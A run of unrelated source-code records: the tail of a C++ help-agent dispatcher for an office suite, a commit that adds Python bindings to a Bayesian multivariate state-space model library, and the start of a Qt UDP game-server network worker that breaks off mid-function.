the agent window is shown\n implts_showAgentWindow();\n}\n\n\/\/--------------------------------------------------------------------\nvoid SAL_CALL HelpAgentDispatcher::addStatusListener(const css::uno::Reference< css::frame::XStatusListener >& xListener,\n const css::util::URL& aURL )\n throw(css::uno::RuntimeException)\n{\n \/\/ no status available\n}\n\n\/\/--------------------------------------------------------------------\nvoid SAL_CALL HelpAgentDispatcher::removeStatusListener(const css::uno::Reference< css::frame::XStatusListener >& xListener,\n const css::util::URL& aURL )\n throw(css::uno::RuntimeException)\n{\n \/\/ no status available\n}\n\n\/\/--------------------------------------------------------------------\nvoid SAL_CALL HelpAgentDispatcher::windowResized(const css::awt::WindowEvent& aEvent)\n throw(css::uno::RuntimeException)\n{\n implts_positionAgentWindow();\n}\n\n\/\/--------------------------------------------------------------------\nvoid SAL_CALL HelpAgentDispatcher::windowMoved(const css::awt::WindowEvent& aEvent)\n throw(css::uno::RuntimeException)\n{\n implts_positionAgentWindow();\n}\n\n\/\/--------------------------------------------------------------------\nvoid SAL_CALL HelpAgentDispatcher::windowShown(const css::lang::EventObject& aEvent)\n throw(css::uno::RuntimeException)\n{\n implts_showAgentWindow();\n}\n\n\/\/--------------------------------------------------------------------\nvoid SAL_CALL HelpAgentDispatcher::windowHidden(const css::lang::EventObject& aEvent)\n throw(css::uno::RuntimeException)\n{\n implts_hideAgentWindow();\n}\n\n\/\/--------------------------------------------------------------------\nvoid SAL_CALL HelpAgentDispatcher::disposing(const css::lang::EventObject& aEvent)\n throw(css::uno::RuntimeException)\n{\n \/\/ SAFE ->\n WriteGuard aWriteLock(m_aLock);\n\n \/\/ Already disposed ?!\n if (! m_xContainerWindow.is())\n return;\n \/\/ Wrong broadcaster ?!\n if (aEvent.Source != m_xContainerWindow)\n return;\n\n css::uno::Reference< css::uno::XInterface > xSelfHoldUntilMethodEnds(static_cast< css::frame::XDispatch* >(this), css::uno::UNO_QUERY_THROW);\n m_xSelfHold.clear();\n\n aWriteLock.unlock();\n \/\/ <- SAFE\n\n implts_stopTimer();\n implts_hideAgentWindow();\n implts_ignoreCurrentURL();\n\n \/\/ SAFE ->\n aWriteLock.lock();\n m_xContainerWindow.clear();\n css::uno::Reference< css::lang::XComponent > xAgentWindow(m_xAgentWindow, css::uno::UNO_QUERY);\n m_xAgentWindow.clear();\n aWriteLock.unlock();\n \/\/ <- SAFE\n\n \/\/ Needed ... because it was create as \"new VCLWindow()\" ! Such windows must be disposed explicitly.\n if (xAgentWindow.is())\n xAgentWindow->dispose();\n}\n\n\/\/--------------------------------------------------------------------\nvoid HelpAgentDispatcher::helpRequested()\n{\n implts_stopTimer();\n implts_hideAgentWindow();\n implts_acceptCurrentURL();\n}\n\n\/\/-----------------------------------------------\nvoid HelpAgentDispatcher::closeAgent()\n{\n implts_stopTimer();\n implts_hideAgentWindow();\n implts_ignoreCurrentURL();\n}\n\n\/\/--------------------------------------------------------------------\nvoid HelpAgentDispatcher::implts_acceptCurrentURL()\n{\n \/\/ SAFE ->\n WriteGuard aWriteLock(m_aLock);\n\n ::rtl::OUString sAcceptedURL = m_sCurrentURL;\n m_sCurrentURL = ::rtl::OUString();\n\n aWriteLock.unlock();\n \/\/ <- SAFE\n\n \/\/ We must make sure that this URL isnt marked as ignored by the user.\n \/\/ Otherwhise the user wont see the corresponding help content in the future.\n SvtHelpOptions().resetAgentIgnoreURLCounter(sAcceptedURL);\n\n \/\/ show the right help content\n \/\/ SOLAR SAFE ->\n {\n ::vos::OGuard aSolarLock(Application::GetSolarMutex());\n Help* pHelp = Application::GetHelp();\n if (pHelp)\n pHelp->Start(sAcceptedURL, NULL);\n }\n \/\/ <- SOLAR SAFE\n}\n\n\/\/--------------------------------------------------------------------\nvoid HelpAgentDispatcher::implts_ignoreCurrentURL()\n{\n \/\/ SAFE ->\n WriteGuard aWriteLock(m_aLock);\n\n ::rtl::OUString sIgnoredURL = m_sCurrentURL;\n m_sCurrentURL = ::rtl::OUString();\n\n aWriteLock.unlock();\n \/\/ <- SAFE\n\n if (sIgnoredURL.getLength())\n SvtHelpOptions().decAgentIgnoreURLCounter(sIgnoredURL);\n}\n\n\/\/--------------------------------------------------------------------\nvoid HelpAgentDispatcher::implts_stopTimer()\n{\n \/\/ SAFE ->\n WriteGuard aWriteLock(m_aLock);\n m_xSelfHold.clear();\n aWriteLock.unlock();\n \/\/ <- SAFE\n\n \/\/ SOLAR SAFE ->\n \/\/ Timer access needs no \"own lock\" ! It lives if we live ...\n \/\/ But it requires locking of the solar mutex ... because it's a vcl based timer.\n {\n ::vos::OGuard aSolarLock(Application::GetSolarMutex());\n if (! m_aTimer.IsActive())\n return;\n m_aTimer.Stop();\n }\n \/\/ <- SOLAR SAFE\n}\n\n\/\/--------------------------------------------------------------------\nvoid HelpAgentDispatcher::implts_startTimer()\n{\n \/\/ SOLAR SAFE ->\n \/\/ Timer access needs no \"own lock\" ! It lives if we live ...\n \/\/ But it requires locking of the solar mutex ... because it's a vcl based timer.\n {\n ::vos::OGuard aSolarLock(Application::GetSolarMutex());\n if (m_aTimer.IsActive())\n return;\n }\n \/\/ <- SOLAR SAFE\n\n \/\/ SAFE ->\n \/\/ Timer uses pointer to this help agent dispatcher ...\n \/\/ But normaly we are ref counted. So we must make sure that this\n \/\/ dispatcher isnt killed during the timer runs .-)\n WriteGuard aWriteLock(m_aLock);\n m_xSelfHold = css::uno::Reference< css::uno::XInterface >(static_cast< css::frame::XDispatch* >(this), css::uno::UNO_QUERY_THROW);\n aWriteLock.unlock();\n \/\/ <- SAFE\n\n sal_Int32 nTime = SvtHelpOptions().GetHelpAgentTimeoutPeriod();\n\n \/\/ SOLAR SAFE ->\n \/\/ Timer access needs no \"own lock\" ! It lives if we live ...\n \/\/ But it requires locking of the solar mutex ... because it's a vcl based timer.\n {\n ::vos::OGuard aSolarLock(Application::GetSolarMutex());\n m_aTimer.SetTimeout(nTime*1000); \/\/ sec => ms !\n m_aTimer.Start();\n }\n}\n\n\/\/-----------------------------------------------\nIMPL_LINK(HelpAgentDispatcher, implts_timerExpired, void*, pVoid)\n{\n \/\/ This method is called by using a pointer to us.\n \/\/ But we must be aware that we can be destroyed hardly\n \/\/ if our uno reference will be gone!\n \/\/ => Hold this object alive till this method finish its work.\n \/\/ SAFE ->\n WriteGuard aWriteLock(m_aLock);\n css::uno::Reference< css::uno::XInterface > xSelfHoldUntilMethodEnds(static_cast< css::frame::XDispatch* >(this), css::uno::UNO_QUERY_THROW);\n m_xSelfHold.clear();\n aWriteLock.unlock();\n \/\/ <- SAFE\n\n implts_hideAgentWindow();\n implts_ignoreCurrentURL();\n\n return 0;\n}\n\n\/\/--------------------------------------------------------------------\nvoid HelpAgentDispatcher::implts_showAgentWindow()\n{\n \/\/ SAFE ->\n ReadGuard aReadLock(m_aLock);\n css::uno::Reference< css::awt::XWindow2 > xContainerWindow(m_xContainerWindow, css::uno::UNO_QUERY_THROW);\n aReadLock.unlock();\n \/\/ <- SAFE\n\n css::uno::Reference< css::awt::XWindow > xAgentWindow = implts_ensureAgentWindow();\n\n if (\n (xContainerWindow.is() ) &&\n (xAgentWindow.is() ) &&\n (xContainerWindow->isVisible())\n )\n {\n \/\/ make sure that agent window resists at the right place .-)\n implts_positionAgentWindow();\n xAgentWindow->setVisible(sal_True);\n }\n}\n\n\/\/--------------------------------------------------------------------\nvoid HelpAgentDispatcher::implts_hideAgentWindow()\n{\n css::uno::Reference< css::awt::XWindow > xAgentWindow = implts_ensureAgentWindow();\n if (xAgentWindow.is())\n xAgentWindow->setVisible(sal_False);\n}\n\n\/\/--------------------------------------------------------------------\nvoid HelpAgentDispatcher::implts_positionAgentWindow()\n{\n \/\/ SAFE ->\n ReadGuard aReadLock(m_aLock);\n css::uno::Reference< css::awt::XWindow > xContainerWindow = m_xContainerWindow;\n aReadLock.unlock();\n \/\/ <- SAFE\n\n css::uno::Reference< css::awt::XWindow > xAgentWindow = implts_ensureAgentWindow();\n if (\n (! xContainerWindow.is()) ||\n (! xAgentWindow.is() )\n )\n return;\n\n ::svt::HelpAgentWindow* pAgentWindow = (::svt::HelpAgentWindow*)VCLUnoHelper::GetWindow(xAgentWindow);\n const css::awt::Rectangle aContainerSize = xContainerWindow->getPosSize();\n const Size aAgentSize = pAgentWindow->getPreferredSizePixel();\n\n sal_Int32 nW = aAgentSize.Width() ;\n sal_Int32 nH = aAgentSize.Height();\n\n if (nW < 1)\n nW = 100;\n if (nH < 1)\n nH = 100;\n\n sal_Int32 nX = aContainerSize.Width - nW;\n sal_Int32 nY = aContainerSize.Height - nH;\n\n \/\/ TODO: use a surrogate if the container window is too small to contain the full-sized agent window\n xAgentWindow->setPosSize(nX, nY, nW, nH, css::awt::PosSize::POSSIZE);\n}\n\n\/\/--------------------------------------------------------------------\ncss::uno::Reference< css::awt::XWindow > HelpAgentDispatcher::implts_ensureAgentWindow()\n{\n \/\/ SAFE ->\n ReadGuard aReadLock(m_aLock);\n if (m_xAgentWindow.is())\n return m_xAgentWindow;\n css::uno::Reference< css::awt::XWindow > xContainerWindow = m_xContainerWindow;\n aReadLock.unlock();\n \/\/ <- SAFE\n\n if (!xContainerWindow.is())\n return css::uno::Reference< css::awt::XWindow >();\n\n ::svt::HelpAgentWindow* pAgentWindow = 0;\n \/\/ SOLAR SAFE ->\n {\n ::vos::OGuard aSolarLock(Application::GetSolarMutex());\n \/\/ create the agent window\n Window* pContainerWindow = VCLUnoHelper::GetWindow(xContainerWindow);\n pAgentWindow = new ::svt::HelpAgentWindow(pContainerWindow);\n pAgentWindow->setCallback(this);\n }\n \/\/ <- SOLAR SAFE\n\n \/\/ SAFE ->\n WriteGuard aWriteLock(m_aLock);\n m_xAgentWindow = VCLUnoHelper::GetInterface(pAgentWindow);\n css::uno::Reference< css::awt::XWindow > xAgentWindow = m_xAgentWindow;\n aWriteLock.unlock();\n \/\/ <- SAFE\n\n \/\/ add as window listener to the container window so we can maintain the property position of the agent window\n xContainerWindow->addWindowListener(this);\n\n \/\/ SOLAR SAFE ->\n {\n ::vos::OGuard aSolarLock(Application::GetSolarMutex());\n \/\/ establish callback for our internal used timer.\n \/\/ Note: Its only active, if the timer will be started ...\n m_aTimer.SetTimeoutHdl(LINK(this, HelpAgentDispatcher, implts_timerExpired));\n }\n \/\/ <- SOLAR SAFE\n\n return xAgentWindow;\n}\n\n} \/\/ namespace framework\n\n<|endoftext|>"} {"text":"<commit_before>#include <pybind11\/pybind11.h>\n#include <pybind11\/stl.h>\n\n#include \"Models\/StateSpace\/Multivariate\/MultivariateStateSpaceRegressionModel.hpp\"\n#include \"Models\/StateSpace\/Multivariate\/PosteriorSamplers\/MultivariateStateSpaceModelSampler.hpp\"\n\n#include \"cpputil\/math_utils.hpp\"\n\n#include \"cpputil\/Ptr.hpp\"\n\nnamespace py = pybind11;\nPYBIND11_DECLARE_HOLDER_TYPE(T, BOOM::Ptr<T>, true);\n\nnamespace BayesBoom {\n using namespace BOOM;\n void MultivariateStateSpaceModel_def(py::module &boom) {\n\n py::class_<MultivariateStateSpaceModelBase,\n Model,\n BOOM::Ptr<MultivariateStateSpaceModelBase>>(\n boom,\n \"MultivariateStateSpaceModelBase\",\n py::multiple_inheritance())\n .def_property_readonly(\n \"nseries\",\n [](const MultivariateStateSpaceModelBase &model) {\n return model.nseries();\n },\n \"The number of time series described by the model.\")\n .def_property_readonly(\n \"time_dimension\",\n [](const MultivariateStateSpaceModelBase &model) {\n return model.time_dimension();\n },\n \"The number of time points in the model training data.\")\n .def_property_readonly(\n \"state_dimension\",\n [](const MultivariateStateSpaceModelBase &model) {\n return model.state_dimension();\n },\n \"The dimension of the state vector shared across all time series.\")\n .def_property_readonly(\n \"number_of_state_models\",\n [](const MultivariateStateSpaceModelBase &model) {\n return model.number_of_state_models();\n },\n \"The number state models defining the shared state vector.\")\n .def_property_readonly(\n \"log_likelihood\",\n [](MultivariateStateSpaceModelBase &model) {\n return model.log_likelihood();\n },\n \"The log likelihood under the current set of model parameters.\")\n .def(\"state_contributions\",\n [](const MultivariateStateSpaceModelBase &model, int which_state_model) {\n return model.state_contributions(which_state_model);\n },\n py::arg(\"which_state_model\"),\n \"Args:\\n\"\n \" which_state_model: The state model whose contribution is desired.\\n\"\n \"\\n\"\n \"Returns:\\n\"\n \" A Matrix. Element (t, d) is the contrubtion of the specified \"\n \"state model to series d at time t.\")\n ;\n\n py::class_<ConditionallyIndependentMultivariateStateSpaceModelBase,\n MultivariateStateSpaceModelBase,\n BOOM::Ptr<ConditionallyIndependentMultivariateStateSpaceModelBase>>(\n boom,\n \"ConditionallyIndependentMultivariateStateSpaceModelBase\",\n py::multiple_inheritance())\n ;\n\n py::class_<MultivariateTimeSeriesRegressionData,\n RegressionData,\n BOOM::Ptr<MultivariateTimeSeriesRegressionData>>(\n boom,\n \"MultivariateTimeSeriesRegressionData\")\n .def(py::init(\n [](double y, const Vector &x, int series, int timestamp) {\n return new MultivariateTimeSeriesRegressionData(\n y, x, series, timestamp);\n }),\n py::arg(\"y\"),\n py::arg(\"x\"),\n py::arg(\"series\"),\n py::arg(\"timestamp\"),\n \"Args:\\n\"\n \" y: The response variable.\\n\"\n \" x: A vector of predictors.\\n\"\n \" series: The identifier of the time series (0.. number of series - 1) to\\n\"\n \" which this observation belongs.\\n\"\n \" timestamp: The time-index of the time series (0.. sample_size - 1)\\n\"\n \" containing this observation.\\n\")\n ;\n\n\n py::class_<MultivariateStateSpaceRegressionModel,\n ConditionallyIndependentMultivariateStateSpaceModelBase,\n PriorPolicy,\n BOOM::Ptr<MultivariateStateSpaceRegressionModel>>(\n boom,\n \"MultivariateStateSpaceRegressionModel\",\n py::multiple_inheritance())\n .def(py::init(\n [](int xdim, int nseries) {\n return new BOOM::MultivariateStateSpaceRegressionModel(\n xdim, nseries);\n }),\n py::arg(\"xdim\"),\n py::arg(\"nseries\"),\n \"Args:\\n\"\n \" xdim: The dimension of the predictor variables.\\n\"\n \" nseries: The number of time series being modeled.\\n\")\n .def_property_readonly(\n \"xdim\",\n [](const MultivariateStateSpaceRegressionModel &model) {\n return model.xdim();\n },\n \"Dimension of the vector of predictor variables.\")\n .def(\"add_data\",\n [](MultivariateStateSpaceRegressionModel &model,\n const Ptr<MultivariateTimeSeriesRegressionData> &data_point) {\n model.add_data(data_point);\n },\n py::arg(\"data_point\"),\n \"Args:\\n\"\n \" data_point: A MultivariateTimeSeriesRegressionData object\\n\"\n \" containing information for a single data point.\\n\")\n .def(\"add_state\",\n [](MultivariateStateSpaceRegressionModel &model,\n SharedStateModel &state_model) {\n model.add_state(Ptr<SharedStateModel>(&state_model));\n },\n \"Args:\\n\"\n \" state_model: A SharedStateModel object defining an element of\"\n \" state.\\n\")\n .def(\"set_method\",\n [](MultivariateStateSpaceRegressionModel &model,\n PosteriorSampler *sampler) {\n model.set_method(Ptr<PosteriorSampler>(sampler));\n })\n .def(\"set_regression_coefficients\",\n [](MultivariateStateSpaceRegressionModel &model,\n const Matrix &coefficients) {\n if (coefficients.nrow() != model.nseries()) {\n std::ostringstream err;\n err << \"The model describes \" << model.nseries()\n << \" series but the input matrix has \"\n << coefficients.nrow() << \" rows.\";\n report_error(err.str());\n }\n if (coefficients.ncol() != model.xdim()) {\n std::ostringstream err;\n err << \"The model has predictor dimension \"\n << model.xdim() << \" but the input matrix has \"\n << coefficients.ncol() << \"columns.\";\n report_error(err.str());\n }\n for (int i = 0; i < coefficients.nrow(); ++i) {\n model.observation_model()->model(i)->set_Beta(\n coefficients.row(i));\n }\n },\n \"Args:\\n\\n\"\n \" coefficients: A boom.Matrix with model.nseries rows and \"\n \"model.xdim columns. Each row contains the regression \"\n \"coefficients for a specific series.\\n\")\n .def(\"set_regression_coefficients\",\n [](MultivariateStateSpaceRegressionModel &model,\n const Vector &coefficients,\n int which_model) {\n model.observation_model()->model(which_model)->set_Beta(coefficients);\n },\n \"Args:\\n\\n\"\n \" coefficients: The boom.Vector of regression coefficients for \"\n \"the regression model describing a single series.\\n\"\n \" which_model: The (integer) index of the model to update.\\n\")\n .def(\"set_residual_sd\",\n [](MultivariateStateSpaceRegressionModel &model,\n const Vector &residual_sd) {\n if (residual_sd.size() != model.nseries()) {\n std::ostringstream err;\n err << \"The model describes \" << model.nseries()\n << \" series but the input vector has \"\n << residual_sd.size() << \" entries.\";\n report_error(err.str());\n }\n for (int i = 0; i < model.nseries(); ++i) {\n model.observation_model()->model(i)->set_sigsq(\n square(residual_sd[i]));\n }\n },\n \"Args:\\n\\n\"\n \" residual_sd: A boom.Vector containing the residual standard \"\n \"deviation for each series.\\n\")\n .def(\"set_residual_sd\",\n [](MultivariateStateSpaceRegressionModel &model,\n double residual_sd,\n int which_model) {\n model.observation_model()->model(which_model)->set_sigsq(\n square(residual_sd));\n },\n \"Args:\\n\\n\"\n \" residual_sd: The scalar valued residual standard deviation \"\n \"for a single model.\\n\"\n \" which_model: The (integer) index of the model to update.\\n\")\n .def(\"mle\",\n [](MultivariateStateSpaceRegressionModel &model,\n double epsilon,\n int max_tries) {\n return model.mle(epsilon, max_tries);\n },\n py::arg(\"epsilon\"),\n py::arg(\"max_tries\") = 500,\n \"Set model parameters to their maximum likelihood estimates.\\n\"\n \"\\n\"\n \"Args:\\n\"\n \" epsilon: A small positive number. Absolute changes to log likelihood\\n\"\n \" less than this value indicate that the algorithm has converged.\\n\"\n \" max_tries: Stop trying to optimzize after this many iterations.\\n\"\n \"\\n\"\n \"Returns:\\n\"\n \" The log likelihood value at the maximum.\\n\"\n \"\\n\"\n \"Effects:\\n\"\n \" Model parameters are set to the maximum likelihood estimates.\\n\")\n ;\n\n py::class_<MultivariateStateSpaceModelSampler,\n PosteriorSampler,\n Ptr<MultivariateStateSpaceModelSampler>>(\n boom,\n \"MultivariateStateSpaceModelSampler\")\n .def(py::init(\n [](MultivariateStateSpaceModelBase *model,\n RNG &seeding_rng = BOOM::GlobalRng::rng) {\n return new MultivariateStateSpaceModelSampler(model, seeding_rng);\n }))\n ;\n }\n} \/\/ namespace BayesBoom\n<commit_msg>Expose shared_state to the python interface.<commit_after>#include <pybind11\/pybind11.h>\n#include <pybind11\/stl.h>\n\n#include \"Models\/StateSpace\/Multivariate\/MultivariateStateSpaceRegressionModel.hpp\"\n#include \"Models\/StateSpace\/Multivariate\/PosteriorSamplers\/MultivariateStateSpaceModelSampler.hpp\"\n\n#include \"cpputil\/math_utils.hpp\"\n\n#include \"cpputil\/Ptr.hpp\"\n\nnamespace py = pybind11;\nPYBIND11_DECLARE_HOLDER_TYPE(T, BOOM::Ptr<T>, true);\n\nnamespace BayesBoom {\n using namespace BOOM;\n void MultivariateStateSpaceModel_def(py::module &boom) {\n\n py::class_<MultivariateStateSpaceModelBase,\n Model,\n BOOM::Ptr<MultivariateStateSpaceModelBase>>(\n boom,\n \"MultivariateStateSpaceModelBase\",\n py::multiple_inheritance())\n .def_property_readonly(\n \"nseries\",\n [](const MultivariateStateSpaceModelBase &model) {\n return model.nseries();\n },\n \"The number of time series described by the model.\")\n .def_property_readonly(\n \"time_dimension\",\n [](const MultivariateStateSpaceModelBase &model) {\n return model.time_dimension();\n },\n \"The number of time points in the model training data.\")\n .def_property_readonly(\n \"state_dimension\",\n [](const MultivariateStateSpaceModelBase &model) {\n return model.state_dimension();\n },\n \"The dimension of the state vector shared across all time series.\")\n .def_property_readonly(\n \"number_of_state_models\",\n [](const MultivariateStateSpaceModelBase &model) {\n return model.number_of_state_models();\n },\n \"The number state models defining the shared state vector.\")\n .def_property_readonly(\n \"log_likelihood\",\n [](MultivariateStateSpaceModelBase &model) {\n return model.log_likelihood();\n },\n \"The log likelihood under the current set of model parameters.\")\n .def(\"state_contributions\",\n [](const MultivariateStateSpaceModelBase &model, int which_state_model) {\n return model.state_contributions(which_state_model);\n },\n py::arg(\"which_state_model\"),\n \"Args:\\n\"\n \" which_state_model: The state model whose contribution is desired.\\n\"\n \"\\n\"\n \"Returns:\\n\"\n \" A Matrix. Element (t, d) is the contrubtion of the specified \"\n \"state model to series d at time t.\")\n .def_property_readonly(\n \"shared_state\",\n [](const MultivariateStateSpaceModelBase &model) {return model.shared_state();},\n \"The full state matrix for the model\")\n ;\n\n py::class_<ConditionallyIndependentMultivariateStateSpaceModelBase,\n MultivariateStateSpaceModelBase,\n BOOM::Ptr<ConditionallyIndependentMultivariateStateSpaceModelBase>>(\n boom,\n \"ConditionallyIndependentMultivariateStateSpaceModelBase\",\n py::multiple_inheritance())\n ;\n\n py::class_<MultivariateTimeSeriesRegressionData,\n RegressionData,\n BOOM::Ptr<MultivariateTimeSeriesRegressionData>>(\n boom,\n \"MultivariateTimeSeriesRegressionData\")\n .def(py::init(\n [](double y, const Vector &x, int series, int timestamp) {\n return new MultivariateTimeSeriesRegressionData(\n y, x, series, timestamp);\n }),\n py::arg(\"y\"),\n py::arg(\"x\"),\n py::arg(\"series\"),\n py::arg(\"timestamp\"),\n \"Args:\\n\"\n \" y: The response variable.\\n\"\n \" x: A vector of predictors.\\n\"\n \" series: The identifier of the time series (0.. number of series - 1) to\\n\"\n \" which this observation belongs.\\n\"\n \" timestamp: The time-index of the time series (0.. sample_size - 1)\\n\"\n \" containing this observation.\\n\")\n ;\n\n\n py::class_<MultivariateStateSpaceRegressionModel,\n ConditionallyIndependentMultivariateStateSpaceModelBase,\n PriorPolicy,\n BOOM::Ptr<MultivariateStateSpaceRegressionModel>>(\n boom,\n \"MultivariateStateSpaceRegressionModel\",\n py::multiple_inheritance())\n .def(py::init(\n [](int xdim, int nseries) {\n return new BOOM::MultivariateStateSpaceRegressionModel(\n xdim, nseries);\n }),\n py::arg(\"xdim\"),\n py::arg(\"nseries\"),\n \"Args:\\n\"\n \" xdim: The dimension of the predictor variables.\\n\"\n \" nseries: The number of time series being modeled.\\n\")\n .def_property_readonly(\n \"xdim\",\n [](const MultivariateStateSpaceRegressionModel &model) {\n return model.xdim();\n },\n \"Dimension of the vector of predictor variables.\")\n .def(\"add_data\",\n [](MultivariateStateSpaceRegressionModel &model,\n const Ptr<MultivariateTimeSeriesRegressionData> &data_point) {\n model.add_data(data_point);\n },\n py::arg(\"data_point\"),\n \"Add a single data point to the model.\\n\\n\"\n \"Args:\\n\"\n \" data_point: A MultivariateTimeSeriesRegressionData object\\n\"\n \" containing information for a single data point.\\n\")\n .def(\"add_data\",\n [](MultivariateStateSpaceRegressionModel &model,\n const std::vector<int> &time_index,\n const std::vector<int> &series_index,\n const Vector &response,\n const Matrix &predictors) {\n size_t nobs = time_index.size();\n if (series_index.size() != nobs) {\n report_error(\"The series_index and time_index must have \"\n \"the same number of elements.\");\n }\n if (response.size() != nobs) {\n report_error(\"The response must have the same number of \"\n \"elements as the time_index.\");\n }\n if (predictors.nrow() != nobs) {\n report_error(\"The matrix of predictors must have the same \"\n \"number of rows as the time_index.\");\n }\n for (size_t i = 0; i < nobs; ++i) {\n NEW(MultivariateTimeSeriesRegressionData, data_point)(\n response[i],\n predictors.row(i),\n series_index[i],\n time_index[i]);\n model.add_data(data_point);\n }\n },\n py::arg(\"time_index\"),\n py::arg(\"series_index\"),\n py::arg(\"response\"),\n py::arg(\"predictors\"),\n \"Add a full data set to the model.\\n\\n\"\n \"Args:\\n\"\n \" time_index: A list of integers indicating the time stamp \"\n \"(0, 1, 2...) associated with the observation.\\n\"\n \" series_index: A list of integers indicating which series the \"\n \"observation describes.\\n\"\n \" response: A boom.Vector giving the values of each series at \"\n \"the specified times.\\n\"\n \" predictors: A boom.Matrix giving the row of predictor \"\n \"variables to use for each observation.\\n\\n\"\n \"Effect:\\n\"\n \" The model object is populated with the supplied data.\\n\")\n .def(\"add_state\",\n [](MultivariateStateSpaceRegressionModel &model,\n SharedStateModel &state_model) {\n model.add_state(Ptr<SharedStateModel>(&state_model));\n },\n \"Args:\\n\"\n \" state_model: A SharedStateModel object defining an element of\"\n \" state.\\n\")\n .def(\"set_method\",\n [](MultivariateStateSpaceRegressionModel &model,\n PosteriorSampler *sampler) {\n model.set_method(Ptr<PosteriorSampler>(sampler));\n })\n .def(\"set_regression_coefficients\",\n [](MultivariateStateSpaceRegressionModel &model,\n const Matrix &coefficients) {\n if (coefficients.nrow() != model.nseries()) {\n std::ostringstream err;\n err << \"The model describes \" << model.nseries()\n << \" series but the input matrix has \"\n << coefficients.nrow() << \" rows.\";\n report_error(err.str());\n }\n if (coefficients.ncol() != model.xdim()) {\n std::ostringstream err;\n err << \"The model has predictor dimension \"\n << model.xdim() << \" but the input matrix has \"\n << coefficients.ncol() << \"columns.\";\n report_error(err.str());\n }\n for (int i = 0; i < coefficients.nrow(); ++i) {\n model.observation_model()->model(i)->set_Beta(\n coefficients.row(i));\n }\n },\n \"Args:\\n\\n\"\n \" coefficients: A boom.Matrix with model.nseries rows and \"\n \"model.xdim columns. Each row contains the regression \"\n \"coefficients for a specific series.\\n\")\n .def(\"set_regression_coefficients\",\n [](MultivariateStateSpaceRegressionModel &model,\n const Vector &coefficients,\n int which_model) {\n model.observation_model()->model(which_model)->set_Beta(coefficients);\n },\n \"Args:\\n\\n\"\n \" coefficients: The boom.Vector of regression coefficients for \"\n \"the regression model describing a single series.\\n\"\n \" which_model: The (integer) index of the model to update.\\n\")\n .def(\"set_residual_sd\",\n [](MultivariateStateSpaceRegressionModel &model,\n const Vector &residual_sd) {\n if (residual_sd.size() != model.nseries()) {\n std::ostringstream err;\n err << \"The model describes \" << model.nseries()\n << \" series but the input vector has \"\n << residual_sd.size() << \" entries.\";\n report_error(err.str());\n }\n for (int i = 0; i < model.nseries(); ++i) {\n model.observation_model()->model(i)->set_sigsq(\n square(residual_sd[i]));\n }\n },\n \"Args:\\n\\n\"\n \" residual_sd: A boom.Vector containing the residual standard \"\n \"deviation for each series.\\n\")\n .def(\"set_residual_sd\",\n [](MultivariateStateSpaceRegressionModel &model,\n double residual_sd,\n int which_model) {\n model.observation_model()->model(which_model)->set_sigsq(\n square(residual_sd));\n },\n \"Args:\\n\\n\"\n \" residual_sd: The scalar valued residual standard deviation \"\n \"for a single model.\\n\"\n \" which_model: The (integer) index of the model to update.\\n\")\n .def(\"mle\",\n [](MultivariateStateSpaceRegressionModel &model,\n double epsilon,\n int max_tries) {\n return model.mle(epsilon, max_tries);\n },\n py::arg(\"epsilon\"),\n py::arg(\"max_tries\") = 500,\n \"Set model parameters to their maximum likelihood estimates.\\n\"\n \"\\n\"\n \"Args:\\n\"\n \" epsilon: A small positive number. Absolute changes to log likelihood\\n\"\n \" less than this value indicate that the algorithm has converged.\\n\"\n \" max_tries: Stop trying to optimzize after this many iterations.\\n\"\n \"\\n\"\n \"Returns:\\n\"\n \" The log likelihood value at the maximum.\\n\"\n \"\\n\"\n \"Effects:\\n\"\n \" Model parameters are set to the maximum likelihood estimates.\\n\")\n ;\n\n py::class_<MultivariateStateSpaceModelSampler,\n PosteriorSampler,\n Ptr<MultivariateStateSpaceModelSampler>>(\n boom,\n \"MultivariateStateSpaceModelSampler\")\n .def(py::init(\n [](MultivariateStateSpaceModelBase *model,\n RNG &seeding_rng = BOOM::GlobalRng::rng) {\n return new MultivariateStateSpaceModelSampler(model, seeding_rng);\n }))\n ;\n }\n} \/\/ namespace BayesBoom\n<|endoftext|>"} {"text":"<commit_before>#include \"GameNetworkWorker.h\"\n#include \"easylogging++.h\"\n#include \"src\/common\/net\/EventId.h\"\n#include \"src\/common\/net\/Deserializer.h\"\n#include <cassert>\n\nnamespace net {\n\nGameNetworkWorker::GameNetworkWorker(quint16 port, std::shared_ptr<GameTimer> game_timer, std::weak_ptr<World> world, std::vector<Client> clients)\n : port_(port),\n game_timer_(game_timer),\n last_packet_id_(1),\n world_ptr_(world),\n send_entities_timer_(),\n detect_disconnect_timer_() {\n QObject::connect(&socket_, SIGNAL(readyRead()), this, SLOT(ReadPendingDatagrams()));\n QObject::connect(&socket_, SIGNAL(error(QAbstractSocket::SocketError)), this, SLOT(SocketError(QAbstractSocket::SocketError)));\n socket_.bind( port_);\n for(Client client : clients) {\n clients_.insert(std::pair<int, Client>(client.GetId(), client));\n last_event_ids_[client.GetId()] = 0; \/\/ not event has been ACKed yet for this client (the first event ID will be 1)\n last_received_pings_[client.GetId()] = game_timer_->GetTimestamp();\n }\n QObject::connect(&send_entities_timer_, &QTimer::timeout, this, &GameNetworkWorker::BroadcastWorld);\n send_entities_timer_.start(100);\n QObject::connect(&detect_disconnect_timer_, &QTimer::timeout, this, &GameNetworkWorker::DetectConnectionLost);\n detect_disconnect_timer_.start(10000);\n LOG(DEBUG) << \"In game network worker initialized and ready on port \" << port_;\n}\n\nvoid GameNetworkWorker::ReadPendingDatagrams() {\n VLOG(9) << \"Reading pending datagrams...\";\n while(socket_.hasPendingDatagrams()) {\n QByteArray datagram;\n datagram.resize(socket_.pendingDatagramSize());\n QHostAddress sender;\n quint16 sender_port;\n socket_.readDatagram(datagram.data(), datagram.size(), &sender, &sender_port);\n ProcessDatagram(datagram);\n }\n}\n\nvoid GameNetworkWorker::SocketError(QAbstractSocket::SocketError error) {\n LOG(ERROR) << \"Error on socket: \" << socket_.errorString().toStdWString();\n (void) error;\n}\n\n\nvoid GameNetworkWorker::ProcessDatagram(const QByteArray& datagram) {\n QDataStream stream(datagram);\n if(!CheckProtocolAndVersion(stream)) {\n LOG(WARNING) << \"Protocol or version ID mismatch, dropping datagram.\";\n return;\n }\n quint8 client_id = GetClientId(stream);\n if(!CheckStreamStatus(stream)) {\n LOG(WARNING) << \"Could not deserialize the client id.\";\n return;\n }\n auto it = clients_.find(client_id);\n if(it == clients_.end()) {\n LOG(WARNING) << \"Got a datagram with client id \" << (int) client_id << \" that does not match a registered client, dropping it.\";\n return;\n }\n Client client = it->second;\n if(!client.IsConnected()) {\n LOG(WARNING) << \"Received a datagram from a previously disconnected client. This server does not support client reconnection ; 